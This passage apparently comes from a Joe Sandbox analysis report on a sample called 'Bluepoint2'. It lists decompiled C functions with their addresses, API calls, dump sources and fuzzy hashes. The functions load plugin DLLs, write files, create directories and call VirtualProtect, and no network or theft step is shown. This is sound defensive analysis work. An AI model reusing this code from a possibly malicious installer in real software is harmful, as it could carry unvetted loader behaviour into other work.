                                                    0x004070fc
                                                    0x004070ff
                                                    0x00407102
                                                    0x00407105
                                                    0x00407105
                                                    0x00407105
                                                    0x00407108
                                                    0x0040710a
                                                    0x0040710a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040734c
                                                    0x0040734c
                                                    0x0040734c
                                                    0x00407350
                                                    0x00000000
                                                    0x00000000
                                                    0x00407356
                                                    0x00407359
                                                    0x0040735c
                                                    0x0040735f
                                                    0x00407361
                                                    0x00407361
                                                    0x00407361
                                                    0x00407364
                                                    0x00407367
                                                    0x0040736a
                                                    0x0040736d
                                                    0x00407370
                                                    0x00407373
                                                    0x00407374
                                                    0x00407376
                                                    0x00407376
                                                    0x00407376
                                                    0x00407379
                                                    0x0040737c
                                                    0x0040737f
                                                    0x00407382
                                                    0x00407385
                                                    0x00407389
                                                    0x0040738b
                                                    0x0040738e
                                                    0x00000000
                                                    0x00407390
                                                    0x0040710d
                                                    0x0040710d
                                                    0x00000000
                                                    0x0040710d
                                                    0x0040738e
                                                    0x004075c3
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x004075fa
                                                    0x004075fa
                                                    0x00000000
                                                    0x004075fa
                                                    0x00407447
                                                    0x004073ce
                                                    0x004073cb

                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
                                                    • Instruction ID: 947ff9f4813c08031b822263453b6bbc7859602ae013fffc9a74d3363ad91bbb
                                                    • Opcode Fuzzy Hash: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
                                                    • Instruction Fuzzy Hash: FE713471E04228DBEF28CF98C8547ADBBB1FF44305F15806AD856BB281C778A986DF45
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 60%
                                                    			E004020D8(void* __ebx, void* __eflags) {
                                                    				struct HINSTANCE__* _t23;
                                                    				struct HINSTANCE__* _t31;
                                                    				void* _t32;
                                                    				WCHAR* _t35;
                                                    				intOrPtr* _t36;
                                                    				void* _t37;
                                                    				void* _t39;
                                                    
                                                    				_t32 = __ebx;
                                                    				asm("sbb eax, 0x42a320");
                                                    				 *(_t39 - 4) = 1;
                                                    				if(__eflags < 0) {
                                                    					_push(0xffffffe7);
                                                    					L15:
                                                    					E00401423();
                                                    					L16:
                                                    					 *0x42a2e8 =  *0x42a2e8 +  *(_t39 - 4);
                                                    					return 0;
                                                    				}
                                                    				_t35 = E00402DA6(0xfffffff0);
                                                    				 *((intOrPtr*)(_t39 - 0x44)) = E00402DA6(1);
                                                    				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
                                                    					L3:
                                                    					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
                                                    					_t47 = _t23 - _t32;
                                                    					 *(_t39 + 8) = _t23;
                                                    					if(_t23 == _t32) {
                                                    						_push(0xfffffff6);
                                                    						goto L15;
                                                    					}
                                                    					L4:
                                                    					_t36 = E00406AA4(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
                                                    					if(_t36 == _t32) {
                                                    						E004056CA(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
                                                    					} else {
                                                    						 *(_t39 - 4) = _t32;
                                                    						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
                                                    							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x400, _t37, 0x40ce58, 0x40a000); // executed
                                                    						} else {
                                                    							E00401423( *((intOrPtr*)(_t39 - 0x28)));
                                                    							if( *_t36() != 0) {
                                                    								 *(_t39 - 4) = 1;
                                                    							}
                                                    						}
                                                    					}
                                                    					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403CB7( *(_t39 + 8)) != 0) {
                                                    						FreeLibrary( *(_t39 + 8));
                                                    					}
                                                    					goto L16;
                                                    				}
                                                    				_t31 = GetModuleHandleW(_t35); // executed
                                                    				 *(_t39 + 8) = _t31;
                                                    				if(_t31 != __ebx) {
                                                    					goto L4;
                                                    				}
                                                    				goto L3;
                                                    			}










                                                    0x004020d8
                                                    0x004020d8
                                                    0x004020dd
                                                    0x004020e4
                                                    0x004021a3
                                                    0x004022f1
                                                    0x004022f1
                                                    0x00402c2a
                                                    0x00402c2d
                                                    0x00402c39
                                                    0x00402c39
                                                    0x004020f3
                                                    0x004020fd
                                                    0x00402100
                                                    0x00402110
                                                    0x00402114
                                                    0x0040211a
                                                    0x0040211c
                                                    0x0040211f
                                                    0x0040219c
                                                    0x00000000
                                                    0x0040219c
                                                    0x00402121
                                                    0x0040212c
                                                    0x00402130
                                                    0x00402170
                                                    0x00402132
                                                    0x00402135
                                                    0x00402138
                                                    0x00402164
                                                    0x0040213a
                                                    0x0040213d
                                                    0x00402146
                                                    0x00402148
                                                    0x00402148
                                                    0x00402146
                                                    0x00402138
                                                    0x00402178
                                                    0x00402191
                                                    0x00402191
                                                    0x00000000
                                                    0x00402178
                                                    0x00402103
                                                    0x0040210b
                                                    0x0040210e
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000

                                                    APIs
                                                    • GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103
                                                      • Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
                                                      • Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
                                                      • Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
                                                      • Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
                                                      • Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785
                                                    • LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402114
                                                    • FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
                                                    • String ID:
                                                    • API String ID: 334405425-0
                                                    • Opcode ID: c0fc562415b006524e612b10bc8b4f19115c3b5e74acc175c6571b6fb39ea03e
                                                    • Instruction ID: 1e7e134340f86907485d462c64894228b35b3344cd4f3d252167f9901203d809
                                                    • Opcode Fuzzy Hash: c0fc562415b006524e612b10bc8b4f19115c3b5e74acc175c6571b6fb39ea03e
                                                    • Instruction Fuzzy Hash: C521C231904104FADF11AFA5CF48A9D7A70BF48354F60413BF605B91E0DBBD8A929A5D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 59%
                                                    			E00401B9B(void* __ebx) {
                                                    				intOrPtr _t8;
                                                    				void* _t9;
                                                    				void _t12;
                                                    				void* _t14;
                                                    				void* _t22;
                                                    				void* _t25;
                                                    				void* _t30;
                                                    				char* _t32;
                                                    				void* _t33;
                                                    				void* _t34;
                                                    				void* _t37;
                                                    
                                                    				_t28 = __ebx;
                                                    				_t8 =  *((intOrPtr*)(_t37 - 0x28));
                                                    				_t33 =  *0x40ce58; // 0x0
                                                    				if(_t8 == __ebx) {
                                                    					if( *((intOrPtr*)(_t37 - 0x2c)) == __ebx) {
                                                    						_t9 = GlobalAlloc(0x40, 0x804); // executed
                                                    						_t34 = _t9;
                                                    						_t5 = _t34 + 4; // 0x4
                                                    						E004066A5(__ebx, _t30, _t34, _t5,  *((intOrPtr*)(_t37 - 0x30)));
                                                    						_t12 =  *0x40ce58; // 0x0
                                                    						 *_t34 = _t12;
                                                    						 *0x40ce58 = _t34;
                                                    					} else {
                                                    						if(_t33 == __ebx) {
                                                    							 *((intOrPtr*)(_t37 - 4)) = 1;
                                                    						} else {
                                                    							_t3 = _t33 + 4; // 0x4
                                                    							E00406668(_t30, _t3);
                                                    							_push(_t33);
                                                    							 *0x40ce58 =  *_t33;
                                                    							GlobalFree();
                                                    						}
                                                    					}
                                                    					goto L15;
                                                    				} else {
                                                    					while(1) {
                                                    						_t8 = _t8 - 1;
                                                    						if(_t33 == _t28) {
                                                    							break;
                                                    						}
                                                    						_t33 =  *_t33;
                                                    						if(_t8 != _t28) {
                                                    							continue;
                                                    						} else {
                                                    							if(_t33 == _t28) {
                                                    								break;
                                                    							} else {
                                                    								_t36 = _t33 + 4;
                                                    								_t32 = L"Call";
                                                    								E00406668(_t32, _t33 + 4);
                                                    								_t22 =  *0x40ce58; // 0x0
                                                    								E00406668(_t36, _t22 + 4);
                                                    								_t25 =  *0x40ce58; // 0x0
                                                    								_push(_t32);
                                                    								_push(_t25 + 4);
                                                    								E00406668();
                                                    								L15:
                                                    								 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t37 - 4));
                                                    								_t14 = 0;
                                                    							}
                                                    						}
                                                    						goto L17;
                                                    					}
                                                    					_push(0x200010);
                                                    					_push(E004066A5(_t28, _t30, _t33, _t28, 0xffffffe8));
                                                    					E00405CC8();
                                                    					_t14 = 0x7fffffff;
                                                    				}
                                                    				L17:
                                                    				return _t14;
                                                    			}














                                                    0x00401b9b
                                                    0x00401b9b
                                                    0x00401b9e
                                                    0x00401ba6
                                                    0x00401bef
                                                    0x00401c1d
                                                    0x00401c26
                                                    0x00401c28
                                                    0x00401c2c
                                                    0x00401c31
                                                    0x00401c36
                                                    0x00401c38
                                                    0x00401bf1
                                                    0x00401bf3
                                                    0x0040292e
                                                    0x00401bf9
                                                    0x00401bf9
                                                    0x00401bfe
                                                    0x00401c05
                                                    0x00401c06
                                                    0x00401c0b
                                                    0x00401c0b
                                                    0x00401bf3
                                                    0x00000000
                                                    0x00401ba8
                                                    0x00401ba8
                                                    0x00401ba8
                                                    0x00401bab
                                                    0x00000000
                                                    0x00000000
                                                    0x00401bb1
                                                    0x00401bb5
                                                    0x00000000
                                                    0x00401bb7
                                                    0x00401bb9
                                                    0x00000000
                                                    0x00401bbf
                                                    0x00401bbf
                                                    0x00401bc2
                                                    0x00401bc9
                                                    0x00401bce
                                                    0x00401bd8
                                                    0x00401bdd
                                                    0x00401be2
                                                    0x00401be6
                                                    0x00402a94
                                                    0x00402c2a
                                                    0x00402c2d
                                                    0x00402c33
                                                    0x00402c33
                                                    0x00401bb9
                                                    0x00000000
                                                    0x00401bb5
                                                    0x0040238a
                                                    0x00402397
                                                    0x00402398
                                                    0x0040239d
                                                    0x0040239d
                                                    0x00402c35
                                                    0x00402c39

                                                    APIs
                                                    • GlobalFree.KERNEL32 ref: 00401C0B
                                                    • GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C1D
                                                      • Part of subcall function 004066A5: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
                                                      • Part of subcall function 004066A5: lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Global$AllocFreelstrcatlstrlen
                                                    • String ID: Call
                                                    • API String ID: 3292104215-1824292864
                                                    • Opcode ID: 4436b13f52ce4d60e61f0bb31b77db7b5fcaad32a9109c5154a1682ef35feec2
                                                    • Instruction ID: d74cddccbdd50a14e5bf5e3e63826a63b2a65df0fd836753f00777670cd3b466
                                                    • Opcode Fuzzy Hash: 4436b13f52ce4d60e61f0bb31b77db7b5fcaad32a9109c5154a1682ef35feec2
                                                    • Instruction Fuzzy Hash: 5321D872904210DBDB20EFA4DEC4E5E73A4AB047157150A3BF542F72D0D6BD9C518BAD
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E0040620A(void* _a4, void* _a8, long _a12) {
                                                    				int _t7;
                                                    				long _t11;
                                                    
                                                    				_t11 = _a12;
                                                    				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                                    				if(_t7 == 0 || _t11 != _a12) {
                                                    					return 0;
                                                    				} else {
                                                    					return 1;
                                                    				}
                                                    			}





                                                    0x0040620e
                                                    0x0040621e
                                                    0x00406226
                                                    0x00000000
                                                    0x0040622d
                                                    0x00000000
                                                    0x0040622f

                                                    APIs
                                                    • WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000,0040D152,font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma,00403579,font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma,0040D152,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.,00004000,?,00000000,004033A3,00000004), ref: 0040621E
                                                    Strings
                                                    • font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma, xrefs: 0040620A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: FileWrite
                                                    • String ID: font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma
                                                    • API String ID: 3934441357-3593623776
                                                    • Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                                    • Instruction ID: 398385dbb58ca0a44fa402a726e0ab0b2131cea3ae709c8a1b666252059dd88a
                                                    • Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                                    • Instruction Fuzzy Hash: F6E08632141129EBCF10AE548C00EEB375CFB01350F014476F955E3040D330E93087A5
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			_entry_(intOrPtr _a4, intOrPtr _a8) {
                                                    
                                                    				 *0x726f5048 = _a4;
                                                    				if(_a8 == 1) {
                                                    					VirtualProtect(0x726f505c, 4, 0x40, 0x726f504c); // executed
                                                    					 *0x726f505c = 0xc2;
                                                    					 *0x726f504c = 0;
                                                    					 *0x726f5054 = 0;
                                                    					 *0x726f5068 = 0;
                                                    					 *0x726f5058 = 0;
                                                    					 *0x726f5050 = 0;
                                                    					 *0x726f5060 = 0;
                                                    					 *0x726f505e = 0;
                                                    				}
                                                    				return 1;
                                                    			}



                                                    0x726f2a88
                                                    0x726f2a8d
                                                    0x726f2a9d
                                                    0x726f2aa5
                                                    0x726f2aac
                                                    0x726f2ab1
                                                    0x726f2ab6
                                                    0x726f2abb
                                                    0x726f2ac0
                                                    0x726f2ac5
                                                    0x726f2aca
                                                    0x726f2aca
                                                    0x726f2ad2

                                                    APIs
                                                    • VirtualProtect.KERNELBASE(726F505C,00000004,00000040,726F504C), ref: 726F2A9D
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: ProtectVirtual
                                                    • String ID: `gv@Mv
                                                    • API String ID: 544645111-3191811104
                                                    • Opcode ID: 35c9dac22d87d94eb7d6cd285d45ac60434b9b2596eed1b28cc4f58db2d8a418
                                                    • Instruction ID: 769139a9e26368fd191eea4b1abbb764ae1f6b467c1a0b5b34cbf419f48a43a5
                                                    • Opcode Fuzzy Hash: 35c9dac22d87d94eb7d6cd285d45ac60434b9b2596eed1b28cc4f58db2d8a418
                                                    • Instruction Fuzzy Hash: 41F07FB25803C1EEDB51CB2E8448B0D3BE0B719204F25492FA388D6A88E3344AC48B95
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 86%
                                                    			E004015C1(short __ebx, void* __eflags) {
                                                    				void* _t17;
                                                    				int _t23;
                                                    				void* _t25;
                                                    				signed char _t26;
                                                    				short _t28;
                                                    				short _t31;
                                                    				short* _t34;
                                                    				void* _t36;
                                                    
                                                    				_t28 = __ebx;
                                                    				 *(_t36 + 8) = E00402DA6(0xfffffff0);
                                                    				_t17 = E00405FE2(_t16);
                                                    				_t32 = _t17;
                                                    				if(_t17 != __ebx) {
                                                    					do {
                                                    						_t34 = E00405F64(_t32, 0x5c);
                                                    						_t31 =  *_t34;
                                                    						 *_t34 = _t28;
                                                    						if(_t31 != _t28) {
                                                    							L5:
                                                    							_t25 = E00405C16( *(_t36 + 8));
                                                    						} else {
                                                    							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
                                                    							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405C33(_t42) == 0) {
                                                    								goto L5;
                                                    							} else {
                                                    								_t25 = E00405B99( *(_t36 + 8)); // executed
                                                    							}
                                                    						}
                                                    						if(_t25 != _t28) {
                                                    							if(_t25 != 0xb7) {
                                                    								L9:
                                                    								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
                                                    							} else {
                                                    								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
                                                    								if((_t26 & 0x00000010) == 0) {
                                                    									goto L9;
                                                    								}
                                                    							}
                                                    						}
                                                    						 *_t34 = _t31;
                                                    						_t32 = _t34 + 2;
                                                    					} while (_t31 != _t28);
                                                    				}
                                                    				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
                                                    					_push(0xfffffff5);
                                                    					E00401423();
                                                    				} else {
                                                    					E00401423(0xffffffe6);
                                                    					E00406668(0x436000,  *(_t36 + 8));
                                                    					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
                                                    					if(_t23 == 0) {
                                                    						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
                                                    					}
                                                    				}
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t36 - 4));
                                                    				return 0;
                                                    			}











                                                    0x004015c1
                                                    0x004015c9
                                                    0x004015cc
                                                    0x004015d1
                                                    0x004015d5
                                                    0x004015d7
                                                    0x004015df
                                                    0x004015e1
                                                    0x004015e4
                                                    0x004015ea
                                                    0x00401604
                                                    0x00401607
                                                    0x004015ec
                                                    0x004015ec
                                                    0x004015ef
                                                    0x00000000
                                                    0x004015fa
                                                    0x004015fd
                                                    0x004015fd
                                                    0x004015ef
                                                    0x0040160e
                                                    0x00401615
                                                    0x00401624
                                                    0x00401624
                                                    0x00401617
                                                    0x0040161a
                                                    0x00401622
                                                    0x00000000
                                                    0x00000000
                                                    0x00401622
                                                    0x00401615
                                                    0x00401627
                                                    0x0040162b
                                                    0x0040162c
                                                    0x004015d7
                                                    0x00401634
                                                    0x00401663
                                                    0x004022f1
                                                    0x00401636
                                                    0x00401638
                                                    0x00401645
                                                    0x0040164d
                                                    0x00401655
                                                    0x0040165b
                                                    0x0040165b
                                                    0x00401655
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                      • Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,76F1FAA0,?,76F1F560,00405D94,?,76F1FAA0,76F1F560,00000000), ref: 00405FF0
                                                      • Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
                                                      • Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D
                                                    • GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A
                                                      • Part of subcall function 00405B99: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC
                                                    • SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                    • String ID:
                                                    • API String ID: 1892508949-0
                                                    • Opcode ID: 5100f8edfc5c73fcce05ecfe13f7e88f84c01c09c33b7a9b27ef58f2b5b0e964
                                                    • Instruction ID: a0118e7b9b939ef3ea3e51add98df8039a5aa70d3b8e99a19be4f9c31e9f39fe
                                                    • Opcode Fuzzy Hash: 5100f8edfc5c73fcce05ecfe13f7e88f84c01c09c33b7a9b27ef58f2b5b0e964
                                                    • Instruction Fuzzy Hash: 04112231508105EBCF30AFA0CD4099E36A0EF15329B28493BF901B22F1DB3E4982DB5E
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 69%
                                                    			E00401389(signed int _a4) {
                                                    				intOrPtr* _t6;
                                                    				void* _t8;
                                                    				void* _t10;
                                                    				signed int _t11;
                                                    				void* _t12;
                                                    				signed int _t16;
                                                    				signed int _t17;
                                                    				void* _t18;
                                                    
                                                    				_t17 = _a4;
                                                    				while(_t17 >= 0) {
                                                    					_t6 = _t17 * 0x1c +  *0x42a290;
                                                    					if( *_t6 == 1) {
                                                    						break;
                                                    					}
                                                    					_push(_t6); // executed
                                                    					_t8 = E00401434(); // executed
                                                    					if(_t8 == 0x7fffffff) {
                                                    						return 0x7fffffff;
                                                    					}
                                                    					_t10 = E0040136D(_t8);
                                                    					if(_t10 != 0) {
                                                    						_t11 = _t10 - 1;
                                                    						_t16 = _t17;
                                                    						_t17 = _t11;
                                                    						_t12 = _t11 - _t16;
                                                    					} else {
                                                    						_t12 = _t10 + 1;
                                                    						_t17 = _t17 + 1;
                                                    					}
                                                    					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
                                                    						 *0x42924c =  *0x42924c + _t12;
                                                    						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x42924c, 0x7530,  *0x429234), 0);
                                                    					}
                                                    				}
                                                    				return 0;
                                                    			}











                                                    0x0040138a
                                                    0x004013fa
                                                    0x0040139b
                                                    0x004013a0
                                                    0x00000000
                                                    0x00000000
                                                    0x004013a2
                                                    0x004013a3
                                                    0x004013ad
                                                    0x00000000
                                                    0x00401404
                                                    0x004013b0
                                                    0x004013b7
                                                    0x004013bd
                                                    0x004013be
                                                    0x004013c0
                                                    0x004013c2
                                                    0x004013b9
                                                    0x004013b9
                                                    0x004013ba
                                                    0x004013ba
                                                    0x004013c9
                                                    0x004013cb
                                                    0x004013f4
                                                    0x004013f4
                                                    0x004013c9
                                                    0x00000000

                                                    APIs
                                                    • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                    • SendMessageW.USER32(?,00000402,00000000), ref: 004013F4
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
